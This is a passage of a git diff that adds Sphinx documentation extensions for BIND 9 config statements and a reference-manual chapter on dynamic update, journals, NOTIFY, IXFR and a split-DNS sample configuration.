+from sphinx.roles import XRefRole
+from sphinx.util import logging
+from sphinx.util.nodes import make_refnode
+
+import checkgrammar
+
+
+logger = logging.getLogger(__name__)
+
+
+def split_csv(argument, required):
+    argument = argument or ""
+    outlist = list(filter(len, (s.strip() for s in argument.split(","))))
+    if required and not outlist:
+        raise ValueError(
+            "a non-empty list required; provide at least one value or remove"
+            " this option"
+        )
+    return outlist
+
+
+# pylint: disable=too-many-statements
+def domain_factory(domainname, domainlabel, todolist, grammar):
+    """
+    Return parametrized Sphinx domain object.
+    @param domainname Name used when referencing domain in .rst: e.g. namedconf
+    @param confname Humand-readable name for texts, e.g. named.conf
+    @param todolist A placeholder object which must be pickable.
+                    See StatementListDirective.
+    """
+
+    class StatementListDirective(Directive):
+        """A custom directive to generate list of statements.
+        It only installs placeholder which is later replaced by
+        process_statementlist_nodes() callback.
+        """
+
+        option_spec = {
+            "filter_blocks": lambda arg: split_csv(arg, required=True),
+            "filter_tags": lambda arg: split_csv(arg, required=True),
+        }
+
+        def run(self):
+            placeholder = todolist("")
+            placeholder["isc_filter_tags"] = set(self.options.get("filter_tags", []))
+            placeholder["isc_filter_blocks"] = set(
+                self.options.get("filter_blocks", [])
+            )
+            return [placeholder]
+
+    class ISCConfDomain(Domain):
+        """
+        Custom Sphinx domain for ISC config.
+        Provides .. statement:: directive to define config statement and
+        .. statementlist:: to generate summary tables.
+        :ref:`statementname` works as usual.
+
+        See https://www.sphinx-doc.org/en/master/extdev/domainapi.html
+        """
+
+        class StatementDirective(ObjectDescription):
+            """
+            A custom directive that describes a statement,
+            e.g. max-cache-size.
+            """
+
+            has_content = True
+            required_arguments = 1
+            option_spec = {
+                "tags": lambda arg: split_csv(arg, required=False),
+                # one-sentece description for use in summary tables
+                "short": directives.unchanged_required,
+                "suppress_grammar": directives.flag,
+            }
+
+            @property
+            def isc_name(self):
+                names = self.get_signatures()
+                if len(names) != 1:
+                    raise NotImplementedError(
+                        "statements with more than one name are not supported", names
+                    )
+                return names[0]
+
+            def handle_signature(self, sig, signode):
+                signode += addnodes.desc_name(text=sig)
+                return sig
+
+            def add_target_and_index(self, _name_cls, sig, signode):
+                signode["ids"].append(domainname + "-statement-" + sig)
+
+                iscconf = self.env.get_domain(domainname)
+                iscconf.add_statement(
+                    sig, self.isc_tags, self.isc_short, self.isc_short_node, self.lineno
+                )
+
+            @property
+            def isc_tags(self):
+                return set(self.options.get("tags", []))
+
+            @property
+            def isc_short(self):
+                return self.options.get("short", "")
+
+            @property
+            def isc_short_node(self):
+                """Short description parsed from rst to docutils node"""
+                return self.parse_nested_str(self.isc_short)
+
+            def format_path(self, path):
+                assert path[0] == "_top"
+                if len(path) == 1:
+                    return "topmost"
+                return ".".join(path[1:])
+
+            def format_paths(self, paths):
+                zone_types = set()
+                nozone_paths = []
+                for path in paths:
+                    try:
+                        zone_idx = path.index("zone")
+                        zone_type_txt = path[zone_idx + 1]
+                        if zone_type_txt.startswith("type "):
+                            zone_types.add(zone_type_txt[len("type ") :])
+                        else:
+                            assert zone_type_txt == "in-view"
+                            zone_types.add(zone_type_txt)
+                    except (ValueError, IndexError):
+                        nozone_paths.append(path)
+                condensed_paths = nozone_paths[:]
+                if zone_types:
+                    condensed_paths.append(
+                        ("_top", "zone (" + ", ".join(sorted(zone_types)) + ")")
+                    )
+                condensed_paths = sorted(condensed_paths, key=len)
+                return list(self.format_path(path) for path in condensed_paths)
+
+            def format_blocks(self, grammar_blocks):
+                """Generate node with list of all allowed blocks"""
+                blocks = nodes.paragraph()
+                blocks += nodes.strong(text="Blocks: ")
+                blocks += nodes.Text(", ".join(self.format_paths(grammar_blocks)))
+                return blocks
+
+            def format_grammar(self, list_blocks, grammar_grp):
+                """
+                Generate grammar description node, optionally with list of
+                blocks accepting this particular grammar.
+                Example: Grammar (block1, block2): grammar;
+                """
+                grammarnode = nodes.paragraph()
+                if list_blocks:
+                    separator = " "
+                    paths = ", ".join(
+                        self.format_paths(variant.path for variant in grammar_grp)
+                    )
+                else:
+                    separator = ""
+                    paths = ""
+                subgrammar = grammar_grp[0].subgrammar
+                subgrammar_txt = checkgrammar.pformat_grammar(subgrammar).strip()
+                grammar_txt = subgrammar.get("_pprint_name", self.isc_name)
+                if subgrammar_txt != ";":
+                    grammar_txt += " "
+                grammar_txt += subgrammar_txt
+                if "\n" in grammar_txt.strip():
+                    nodetype = nodes.literal_block
+                else:
+                    nodetype = nodes.literal
+                grammarnode += nodes.strong(text=f"Grammar{separator}{paths}: ")
+                grammarnode += nodetype(text=grammar_txt)
+                return grammarnode
+
+            def format_warnings(self, flags):
+                """Return node with a warning box about deprecated and
+                experimental options"""
+                warn = nodes.warning()
+                if "deprecated" in flags:
+                    warn += nodes.paragraph(
+                        text=(
+                            "This option is deprecated and will be removed in a future"
+                            " version of BIND."
+                        )
+                    )
+                if "experimental" in flags:
+                    warn += nodes.paragraph(
+                        text="This option is experimental and subject to change."
+                    )
+                return warn
+
+            def parse_nested_str(self, instr):
+                """Parse string as nested rst syntax and produce a node"""
+                raw = nodes.paragraph(text=instr)
+                parsed = nodes.paragraph()
+                self.state.nested_parse(raw, self.content_offset, parsed)
+                return parsed
+
+            def transform_content(self, contentnode: addnodes.desc_content) -> None:
+                """autogenerate content from structured data"""
+                self.workaround_transform_content = True
+                if self.isc_short:
+                    contentnode.insert(0, self.isc_short_node)
+                if self.isc_tags:
+                    tags = nodes.paragraph()
+                    tags += nodes.strong(text="Tags: ")
+                    tags += nodes.Text(", ".join(self.isc_tags))
+                    contentnode.insert(0, tags)
+
+                iscconf = self.env.get_domain(domainname)
+
+                name = self.isc_name
+                if name not in iscconf.statement_blocks:
+                    return  # not defined in grammar, nothing to render
+
+                blocks = self.format_blocks(iscconf.statement_blocks[name])
+                contentnode.insert(0, blocks)
+
+                grammars = iscconf.statement_grammar_groups[name]
+                multi_grammar = len(grammars) > 1
+                union_flags = set()
+                for grammar_grp in grammars:
+                    for one_grammar_dict in grammar_grp:
+                        union_flags = union_flags.union(
+                            set(one_grammar_dict.subgrammar.get("_flags", []))
+                        )
+                    if "suppress_grammar" in self.options:
+                        continue
+                    grammarnode = self.format_grammar(multi_grammar, grammar_grp)
+                    contentnode.insert(0, grammarnode)
+
+                warn = self.format_warnings(union_flags)
+                if len(warn):
+                    contentnode.insert(0, warn)
+
+            def __init__(self, *args, **kwargs):
+                """Compability with Sphinx < 3.0.0"""
+                self.workaround_transform_content = False
+                super().__init__(*args, **kwargs)
+
+            def run(self):
+                """Compability with Sphinx < 3.0.0"""
+                nodelist = super().run()
+                if not self.workaround_transform_content:
+                    # get access to "contentnode" created inside super.run()
+                    self.transform_content(nodelist[1][-1])
+                return nodelist
+
+        name = domainname
+        label = domainlabel
+
+        directives = {
+            "statement": StatementDirective,
+            "statementlist": StatementListDirective,
+        }
+
+        roles = {"ref": XRefRole(warn_dangling=True)}
+        initial_data = {
+            # name -> {"tags": [list of tags], ...}; see add_statement()
+            "statements": {},
+        }
+
+        indices = {}  # no custom indicies
+
+        def __init__(self, *args, **kwargs):
+            super().__init__(*args, **kwargs)
+            self.grammar = grammar
+            self.statement_blocks = checkgrammar.statement2block(grammar, ["_top"])
+            self.statement_grammar_groups = checkgrammar.diff_statements(
+                self.grammar, self.statement_blocks
+            )
+
+        def get_objects(self):
+            """
+            Sphinx API:
+            Iterable of Sphinx object descriptions (tuples defined in the API).
+            """
+            for obj in self.data["statements"].values():
+                yield tuple(
+                    obj[key]
+                    for key in [
+                        "fullname",
+                        "signature",
+                        "label",
+                        "docname",
+                        "anchor",
+                        "priority",
+                    ]
+                )
+
+        # pylint: disable=too-many-arguments
+        def resolve_xref(self, env, fromdocname, builder, typ, target, node, contnode):
+            """
+            Sphinx API:
+            Resolve the pending_xref *node* with the given typ and target.
+            """
+            try:
+                obj = self.data["statements"][self.get_statement_name(target)]
+            except KeyError:
+                return None
+
+            refnode = make_refnode(
+                builder,
+                fromdocname,
+                obj["docname"],
+                obj["anchor"],
+                contnode,
+                obj["anchor"],
+            )
+            return refnode
+
+        def resolve_any_xref(self, env, fromdocname, builder, target, node, contnode):
+            """
+            Sphinx API:
+            Raising NotImplementedError uses fall-back bassed on resolve_xref.
+            """
+            raise NotImplementedError
+
+        @staticmethod
+        def log_statement_overlap(new, old):
+            assert new["fullname"] == old["fullname"]
+            logger.warning(
+                "duplicite detected! %s previously defined at %s:%d",
+                new["fullname"],
+                old["filename"],
+                old["lineno"],
+                location=(new["docname"], new["lineno"]),
+            )
+
+        def get_statement_name(self, signature):
+            return "{}.{}.{}".format(domainname, "statement", signature)
+
+        def add_statement(self, signature, tags, short, short_node, lineno):
+            """
+            Add a new statement to the domain data structures.
+            No visible effect.
+            """
+            name = self.get_statement_name(signature)
+            anchor = "{}-statement-{}".format(domainname, signature)
+
+            new = {
+                "tags": tags,
+                "short": short,
+                "short_node": short_node,
+                "filename": self.env.doc2path(self.env.docname),
+                "lineno": lineno,
+                # Sphinx API
+                "fullname": name,  # internal name
+                "signature": signature,  # display name
+                "label": domainlabel + " statement",  # description for index
+                "docname": self.env.docname,
+                "anchor": anchor,
+                "priority": 1,  # search priority
+            }
+
+            if name in self.data["statements"]:
+                self.log_statement_overlap(new, self.data["statements"][name])
+            self.data["statements"][name] = new
+
+        def clear_doc(self, docname):
+            """
+            Sphinx API: like env-purge-doc event, but in a domain.
+
+            Remove traces of a document in the domain-specific inventories.
+            """
+            self.data["statements"] = dict(
+                {
+                    key: obj
+                    for key, obj in self.data["statements"].items()
+                    if obj["docname"] != docname
+                }
+            )
+
+        def merge_domaindata(self, docnames, otherdata):
+            """Sphinx API: Merge in data regarding *docnames* from a different
+            domaindata inventory (coming from a subprocess in parallel builds).
+
+            @param otherdata is self.data equivalent from another process
+            """
+            old = self.data["statements"]
+            new = otherdata["statements"]
+            for name in set(old).intersection(set(new)):
+                self.log_statement_overlap(new[name], old[name])
+            old.update(new)
+
+        def check_consistency(self):
+            """Sphinx API"""
+            defined_statements = set(
+                obj["signature"] for obj in self.data["statements"].values()
+            )
+            statements_in_grammar = set(self.statement_blocks)
+            missing_statement_sigs = statements_in_grammar.difference(
+                defined_statements
+            )
+            for missing in missing_statement_sigs:
+                grammars = self.statement_grammar_groups[missing]
+                if len(grammars) == 1:
+                    flags = grammars[0][0].subgrammar.get("_flags", [])
+                    if ("obsolete" in flags) or ("test only" in flags):
+                        continue
+
+                logger.warning(
+                    "statement %s is defined in %s grammar but is not described"
+                    " using .. statement:: directive",
+                    missing,
+                    domainlabel,
+                )
+
+            extra_statement_sigs = defined_statements.difference(statements_in_grammar)
+            for extra in extra_statement_sigs:
+                fullname = self.get_statement_name(extra)
+                desc = self.data["statements"][fullname]
+                logger.warning(
+                    ".. statement:: %s found but matching definition in %s grammar is"
+                    " missing",
+                    extra,
+                    domainlabel,
+                    location=(desc["docname"], desc["lineno"]),
+                )
+
+        @classmethod
+        def process_statementlist_nodes(cls, app, doctree):
+            """
+            Replace todolist objects (placed into document using
+            .. statementlist::) with automatically generated table
+            of statements.
+            """
+
+            def gen_replacement_table(acceptable_blocks, acceptable_tags):
+                table_header = [
+                    TableColumn("ref", "Statement"),
+                    TableColumn("short_node", "Description"),
+                ]
+                tag_header = []
+                if len(acceptable_tags) != 1:
+                    # tags column only if tag filter is not applied
+                    tag_header = [
+                        TableColumn("tags_txt", "Tags"),
+                    ]
+
+                table_b = DictToDocutilsTableBuilder(table_header + tag_header)
+                table_b.append_iterable(
+                    sorted(
+                        filter(
+                            lambda item: (
+                                (
+                                    not acceptable_tags
+                                    or item["tags"].intersection(acceptable_tags)
+                                )
+                                and (
+                                    not acceptable_blocks
+                                    or item["block_names"].intersection(
+                                        acceptable_blocks
+                                    )
+                                )
+                            ),
+                            iscconf.list_all(),
+                        ),
+                        key=lambda x: x["fullname"],
+                    )
+                )
+                return table_b.get_docutils()
+
+            env = app.builder.env
+            iscconf = env.get_domain(cls.name)
+
+            for node in doctree.traverse(todolist):
+                acceptable_tags = node["isc_filter_tags"]
+                acceptable_blocks = node["isc_filter_blocks"]
+                node.replace_self(
+                    gen_replacement_table(acceptable_blocks, acceptable_tags)
+                )
+
+        def list_all(self):
+            for statement in self.data["statements"].values():
+                sig = statement["signature"]
+                block_names = set(
+                    path[-1] for path in self.statement_blocks.get(sig, [])
+                )
+                tags_txt = ", ".join(statement["tags"])
+
+                refpara = nodes.inline()
+                refnode = addnodes.pending_xref(
+                    sig,
+                    reftype="statement",
+                    refdomain=domainname,
+                    reftarget=sig,
+                    refwarn=True,
+                )
+                refnode += nodes.Text(sig)
+                refpara += refnode
+
+                copy = statement.copy()
+                copy["block_names"] = block_names
+                copy["ref"] = refpara
+                copy["tags_txt"] = tags_txt
+                yield copy
+
+    return ISCConfDomain
+
+
+# source dict key: human description
+TableColumn = namedtuple("TableColumn", ["dictkey", "description"])
+
+
+class DictToDocutilsTableBuilder:
+    """generate docutils table"""
+
+    def __init__(self, header):
+        """@param header: [ordered list of TableColumn]s"""
+        self.header = header
+        self.table = nodes.table()
+        self.table["classes"] += ["colwidths-auto"]
+        self.returned = False
+        # inner nodes of the table
+        self.tgroup = nodes.tgroup(cols=len(self.header))
+        for _ in range(len(self.header)):
+            # ignored because of colwidths-auto, but must be present
+            colspec = nodes.colspec(colwidth=1)
+            self.tgroup.append(colspec)
+        self.table += self.tgroup
+        self._gen_header()
+
+        self.tbody = nodes.tbody()
+        self.tgroup += self.tbody
+
+    def _gen_header(self):
+        thead = nodes.thead()
+
+        row = nodes.row()
+        for column in self.header:
+            entry = nodes.entry()
+            entry += nodes.paragraph(text=column.description)
+            row += entry
+
+        thead.append(row)
+        self.tgroup += thead
+
+    def append_iterable(self, objects):
+        """Append rows for each object (dict), ir order.
+        Extract column values from keys listed in self.header."""
+        for obj in objects:
+            row = nodes.row()
+            for column in self.header:
+                entry = nodes.entry()
+                value = obj[column.dictkey]
+                if isinstance(value, str):
+                    value = nodes.paragraph(text=value)
+                else:
+                    value = value.deepcopy()
+                entry += value
+                row += entry
+            self.tbody.append(row)
+
+    def get_docutils(self):
+        # guard against table reuse - that's most likely an error
+        assert not self.returned
+        self.returned = True
+        return self.table
+
+
+def setup(app, domainname, confname, docutilsplaceholder, grammar):
+    """
+    Install new parametrized Sphinx domain.
+    """
+
+    Conf = domain_factory(domainname, confname, docutilsplaceholder, grammar)
+    app.add_domain(Conf)
+    app.connect("doctree-read", Conf.process_statementlist_nodes)
+
+    return {
+        "version": "0.1",
+        "parallel_read_safe": True,
+        "parallel_write_safe": True,
+    }
diff --git a/doc/arm/_ext/mergegrammar.py b/doc/arm/_ext/mergegrammar.py
new file mode 100644
index 0000000000..b0500eb4b5
--- /dev/null
+++ b/doc/arm/_ext/mergegrammar.py
@@ -0,0 +1,63 @@
+############################################################################
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+############################################################################
+
+# Depends on CWD - Sphinx plugin
+
+import json
+from pathlib import Path
+
+import parsegrammar
+
+
+def read_zone():
+    zone_grammars = {}
+    for file in Path("../misc/").glob("*.zoneopt"):
+        # in-view is not really a zone type
+        if file.stem == "in-view":
+            zone_type = "in-view"
+        else:
+            zone_type = f"type {file.stem}"
+
+        with file.open(encoding="ascii") as fp:
+            zonegrammar = parsegrammar.parse_mapbody(fp)
+            assert len(zonegrammar) == 1
+            assert "zone" in zonegrammar
+            zone_grammars[zone_type] = zonegrammar["zone"]
+            zone_grammars[zone_type]["_pprint_name"] = "zone"
+
+    return {"zone": {"_mapbody": zone_grammars, "_ignore_this_level": True}}
+
+
+def read_main():
+    with Path("../misc/options").open(encoding="ascii") as fp:
+        optgrammar = parsegrammar.parse_mapbody(fp)
+    return optgrammar
+
+
+def combine():
+    zones = read_zone()
+    assert zones
+    rest = read_main()
+    assert rest
+    rest.update(zones)
+
+    # this is a terrible hack
+    # but cfg_test cannot print zone grammars inside view
+    rest["view"]["_mapbody"].update(zones)
+
+    return rest
+
+
+if __name__ == "__main__":
+    full_grammar = combine()
+    print(json.dumps(full_grammar))
diff --git a/doc/arm/_ext/namedconf.py b/doc/arm/_ext/namedconf.py
new file mode 100644
index 0000000000..bcf4a0c007
--- /dev/null
+++ b/doc/arm/_ext/namedconf.py
@@ -0,0 +1,35 @@
+############################################################################
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+############################################################################
+
+"""
+Sphinx domain "namedconf". See iscconf.py for details.
+
+"""
+from docutils import nodes
+
+import iscconf
+import mergegrammar
+
+
+class ToBeReplacedStatementList(nodes.General, nodes.Element):
+    """
+    Placeholder, does nothing, but must be picklable
+    (= cannot be in generated class).
+    """
+
+
+def setup(app):
+    grammar = mergegrammar.combine()
+    return iscconf.setup(
+        app, "namedconf", "named.conf", ToBeReplacedStatementList, grammar
+    )
diff --git a/doc/arm/_ext/rndcconf.py b/doc/arm/_ext/rndcconf.py
new file mode 100644
index 0000000000..cac10e2f46
--- /dev/null
+++ b/doc/arm/_ext/rndcconf.py
@@ -0,0 +1,36 @@
+############################################################################
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+############################################################################
+
+"""
+Sphinx domain "rndcconf". See iscconf.py for details.
+"""
+
+from docutils import nodes
+
+import iscconf
+import parsegrammar
+
+
+class ToBeReplacedStatementList(nodes.General, nodes.Element):
+    """
+    Placeholder, does nothing, but must be picklable
+    (= cannot be in a generated class).
+    """
+
+
+def setup(app):
+    with open("../misc/rndc.grammar", encoding="utf-8") as filein:
+        grammar = parsegrammar.parse_mapbody(filein)
+    return iscconf.setup(
+        app, "rndcconf", "rndc.conf", ToBeReplacedStatementList, grammar
+    )
diff --git a/doc/arm/_static/custom.css b/doc/arm/_static/custom.css
new file mode 100644
index 0000000000..86f030fd3c
--- /dev/null
+++ b/doc/arm/_static/custom.css
@@ -0,0 +1,25 @@
+/*
+Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
+*/
+
+/* make table content wrappable */
+.wy-table-responsive table td {
+    white-space:normal;
+}
+
+/* readability improvements */
+.rst-content code.literal {
+    color: black;
+}
+.rst-content code.xref {
+    text-decoration: underline dotted gray;
+}
diff --git a/doc/arm/advanced.inc.rst b/doc/arm/advanced.inc.rst
new file mode 100644
index 0000000000..73202eb171
--- /dev/null
+++ b/doc/arm/advanced.inc.rst
@@ -0,0 +1,420 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+.. _advanced:
+
+Advanced Configurations
+=======================
+
+.. _dynamic_update:
+
+Dynamic Update
+--------------
+
+Dynamic update is a method for adding, replacing, or deleting records in
+a primary server by sending it a special form of DNS messages. The format
+and meaning of these messages is specified in :rfc:`2136`.
+
+Dynamic update is enabled by including an :any:`allow-update` or an
+:any:`update-policy` clause in the :any:`zone` statement.
+
+If the zone's :any:`update-policy` is set to ``local``, updates to the zone
+are permitted for the key ``local-ddns``, which is generated by
+:iscman:`named` at startup. See :ref:`dynamic_update_policies` for more details.
+
+Dynamic updates using Kerberos-signed requests can be made using the
+TKEY/GSS protocol, either by setting the :any:`tkey-gssapi-keytab` option
+or by setting both the :any:`tkey-gssapi-credential` and
+:any:`tkey-domain` options. Once enabled, Kerberos-signed requests are
+matched against the update policies for the zone, using the Kerberos
+principal as the signer for the request.
+
+Updating of secure zones (zones using DNSSEC) follows :rfc:`3007`: RRSIG,
+NSEC, and NSEC3 records affected by updates are automatically regenerated
+by the server using an online zone key. Update authorization is based on
+transaction signatures and an explicit server policy.
+
+.. _journal:
+
+The Journal File
+~~~~~~~~~~~~~~~~
+
+All changes made to a zone using dynamic update are stored in the zone's
+journal file. This file is automatically created by the server when the
+first dynamic update takes place. The name of the journal file is formed
+by appending the extension ``.jnl`` to the name of the corresponding
+zone file unless specifically overridden. The journal file is in a
+binary format and should not be edited manually.
+
+The server also occasionally writes ("dumps") the complete contents
+of the updated zone to its zone file. This is not done immediately after
+each dynamic update because that would be too slow when a large zone is
+updated frequently. Instead, the dump is delayed by up to 15 minutes,
+allowing additional updates to take place. During the dump process,
+transient files are created with the extensions ``.jnw`` and
+``.jbk``; under ordinary circumstances, these are removed when the
+dump is complete, and can be safely ignored.
+
+When a server is restarted after a shutdown or crash, it replays the
+journal file to incorporate into the zone any updates that took place
+after the last zone dump.
+
+Changes that result from incoming incremental zone transfers are also
+journaled in a similar way.
+
+The zone files of dynamic zones cannot normally be edited by hand
+because they are not guaranteed to contain the most recent dynamic
+changes; those are only in the journal file. The only way to ensure
+that the zone file of a dynamic zone is up-to-date is to run
+:option:`rndc stop`.
+
+To make changes to a dynamic zone manually, follow these steps:
+first, disable dynamic updates to the zone using
+:option:`rndc freeze zone <rndc freeze>`. This updates the zone file with the
+changes stored in its ``.jnl`` file. Then, edit the zone file. Finally, run
+:option:`rndc thaw zone <rndc thaw>` to reload the changed zone and re-enable dynamic
+updates.
+
+:option:`rndc sync zone <rndc sync>` updates the zone file with changes from the
+journal file without stopping dynamic updates; this may be useful for
+viewing the current zone state. To remove the ``.jnl`` file after
+updating the zone file, use :option:`rndc sync -clean <rndc sync>`.
+
+.. _notify:
+
+NOTIFY
+------
+
+DNS NOTIFY is a mechanism that allows primary servers to notify their
+secondary servers of changes to a zone's data. In response to a NOTIFY message
+from a primary server, the secondary checks to see that its version of
+the zone is the current version and, if not, initiates a zone transfer.
+
+For more information about DNS NOTIFY, see the description of the
+:namedconf:ref:`notify` and :namedconf:ref`also-notify` statements.
+The NOTIFY protocol is specified in :rfc:`1996`.
+
+.. note::
+
+   As a secondary zone can also be a primary to other secondaries, :iscman:`named`, by
+   default, sends NOTIFY messages for every zone it loads.
+
+.. _incremental_zone_transfers:
+
+Incremental Zone Transfers (IXFR)
+---------------------------------
+
+The incremental zone transfer (IXFR) protocol is a way for secondary servers
+to transfer only changed data, instead of having to transfer an entire
+zone. The IXFR protocol is specified in :rfc:`1995`.
+
+When acting as a primary server, BIND 9 supports IXFR for those zones where the
+necessary change history information is available. These include primary
+zones maintained by dynamic update and secondary zones whose data was
+obtained by IXFR. For manually maintained primary zones, and for secondary
+zones obtained by performing a full zone transfer (AXFR), IXFR is
+supported only if the option :any:`ixfr-from-differences` is set to
+``yes``.
+
+When acting as a secondary server, BIND 9 attempts to use IXFR unless it is
+explicitly disabled. For more information about disabling IXFR, see the
+description of the :any:`request-ixfr` clause of the :namedconf:ref:`server` statement.
+
+When a secondary server receives a zone via AXFR, it creates a new copy of the
+zone database and then swaps it into place; during the loading process, queries
+continue to be served from the old database with no interference. When receiving
+a zone via IXFR, however, changes are applied to the running zone, which may
+degrade query performance during the transfer. If a server receiving an IXFR
+request determines that the response size would be similar in size to an AXFR
+response, it may wish to send AXFR instead. The threshold at which this
+determination is made can be configured using the
+:any:`max-ixfr-ratio` option.
+
+.. _split_dns:
+
+Split DNS
+---------
+
+Setting up different views of the DNS space to internal
+and external resolvers is usually referred to as a *split DNS* setup.
+There are several reasons an organization might want to set up its DNS
+this way.
+
+One common reason to use split DNS is to hide
+"internal" DNS information from "external" clients on the Internet.
+There is some debate as to whether this is actually useful.
+Internal DNS information leaks out in many ways (via email headers, for
+example) and most savvy "attackers" can find the information they need
+using other means. However, since listing addresses of internal servers
+that external clients cannot possibly reach can result in connection
+delays and other annoyances, an organization may choose to use split
+DNS to present a consistent view of itself to the outside world.
+
+Another common reason for setting up a split DNS system is to allow
+internal networks that are behind filters or in :rfc:`1918` space (reserved
+IP space, as documented in :rfc:`1918`) to resolve DNS on the Internet.
+Split DNS can also be used to allow mail from outside back into the
+internal network.
+
+.. _split_dns_sample:
+
+Example Split DNS Setup
+~~~~~~~~~~~~~~~~~~~~~~~
+
+Let's say a company named *Example, Inc.* (``example.com``) has several
+corporate sites that have an internal network with reserved Internet
+Protocol (IP) space and an external demilitarized zone (DMZ), or
+"outside" section of a network, that is available to the public.
+
+Example, Inc. wants its internal clients to be able to resolve
+external hostnames and to exchange mail with people on the outside. The
+company also wants its internal resolvers to have access to certain
+internal-only zones that are not available at all outside of the
+internal network.
+
+To accomplish this, the company sets up two sets of name
+servers. One set is on the inside network (in the reserved IP
+space) and the other set is on bastion hosts, which are "proxy"
+hosts in the DMZ that can talk to both sides of its network.
+
+The internal servers are configured to forward all queries, except
+queries for ``site1.internal``, ``site2.internal``,
+``site1.example.com``, and ``site2.example.com``, to the servers in the
+DMZ. These internal servers have complete sets of information for
+``site1.example.com``, ``site2.example.com``, ``site1.internal``, and
+``site2.internal``.
+
+To protect the ``site1.internal`` and ``site2.internal`` domains, the
+internal name servers must be configured to disallow all queries to
+these domains from any external hosts, including the bastion hosts.
+
+The external servers, which are on the bastion hosts, are configured
+to serve the "public" version of the ``site1.example.com`` and ``site2.example.com``
+zones. This could include things such as the host records for public
+servers (``www.example.com`` and ``ftp.example.com``) and mail exchange
+(MX) records (``a.mx.example.com`` and ``b.mx.example.com``).
+
+In addition, the public ``site1.example.com`` and ``site2.example.com`` zones should
+have special MX records that contain wildcard (``*``) records pointing to
+the bastion hosts. This is needed because external mail servers
+have no other way of determining how to deliver mail to those internal
+hosts. With the wildcard records, the mail is delivered to the
+bastion host, which can then forward it on to internal hosts.
+
+Here's an example of a wildcard MX record:
+
+::
+
+   *   IN MX 10 external1.example.com.
+
+Now that they accept mail on behalf of anything in the internal network,
+the bastion hosts need to know how to deliver mail to internal
+hosts. The resolvers on the bastion
+hosts need to be configured to point to the internal name servers
+for DNS resolution.
+
+Queries for internal hostnames are answered by the internal servers,
+and queries for external hostnames are forwarded back out to the DNS
+servers on the bastion hosts.
+
+For all of this to work properly, internal clients need to be
+configured to query *only* the internal name servers for DNS queries.
+This could also be enforced via selective filtering on the network.
+
+If everything has been set properly, Example, Inc.'s internal clients
+are now able to:
+
+-  Look up any hostnames in the ``site1.example.com`` and ``site2.example.com``
+   zones.
+
+-  Look up any hostnames in the ``site1.internal`` and
+   ``site2.internal`` domains.
+
+-  Look up any hostnames on the Internet.
+
+-  Exchange mail with both internal and external users.
+
+Hosts on the Internet are able to:
+
+-  Look up any hostnames in the ``site1.example.com`` and ``site2.example.com``
+   zones.
+
+-  Exchange mail with anyone in the ``site1.example.com`` and ``site2.example.com``
+   zones.
+
+Here is an example configuration for the setup just described above.
+Note that this is only configuration information; for information on how
+to configure the zone files, see :ref:`sample_configuration`.
+
+Internal DNS server config:
+
+::
+
+
+   acl internals { 172.16.72.0/24; 192.168.1.0/24; };
+
+   acl externals { bastion-ips-go-here; };
+
+   options {
+       ...
+       ...
+       forward only;
+       // forward to external servers
+       forwarders {
+       bastion-ips-go-here;
+       };
+       // sample allow-transfer (no one)
+       allow-transfer { none; };
+       // restrict query access
+       allow-query { internals; externals; };
+       // restrict recursion
+       allow-recursion { internals; };
+       ...
+       ...
+   };
+
+   // sample primary zone
+   zone "site1.example.com" {
+     type primary;
+     file "m/site1.example.com";
+     // do normal iterative resolution (do not forward)
+     forwarders { };
+     allow-query { internals; externals; };
+     allow-transfer { internals; };
+   };
+
+   // sample secondary zone
+   zone "site2.example.com" {
+     type secondary;
+     file "s/site2.example.com";
+     primaries { 172.16.72.3; };
+     forwarders { };
+     allow-query { internals; externals; };
+     allow-transfer { internals; };
+   };
+
+   zone "site1.internal" {
+     type primary;
+     file "m/site1.internal";
+     forwarders { };
+     allow-query { internals; };
+     allow-transfer { internals; }
+   };
+
+   zone "site2.internal" {
+     type secondary;
+     file "s/site2.internal";
+     primaries { 172.16.72.3; };
+     forwarders { };
+     allow-query { internals };
+     allow-transfer { internals; }
+   };
+
+External (bastion host) DNS server configuration:
+
+::
+
+   acl internals { 172.16.72.0/24; 192.168.1.0/24; };
+
+   acl externals { bastion-ips-go-here; };
+
+   options {
+     ...
+     ...
+     // sample allow-transfer (no one)
+     allow-transfer { none; };
+     // default query access
+     allow-query { any; };
+     // restrict cache access
+     allow-query-cache { internals; externals; };
+     // restrict recursion
+     allow-recursion { internals; externals; };
+     ...
+     ...
+   };
+
+   // sample secondary zone
+   zone "site1.example.com" {
+     type primary;
+     file "m/site1.foo.com";
+     allow-transfer { internals; externals; };
+   };
+
+   zone "site2.example.com" {
+     type secondary;
+     file "s/site2.foo.com";
+     primaries { another_bastion_host_maybe; };
+     allow-transfer { internals; externals; }
+   };
+
+In the ``resolv.conf`` (or equivalent) on the bastion host(s):
+
+::
+
+   search ...
+   nameserver 172.16.72.2
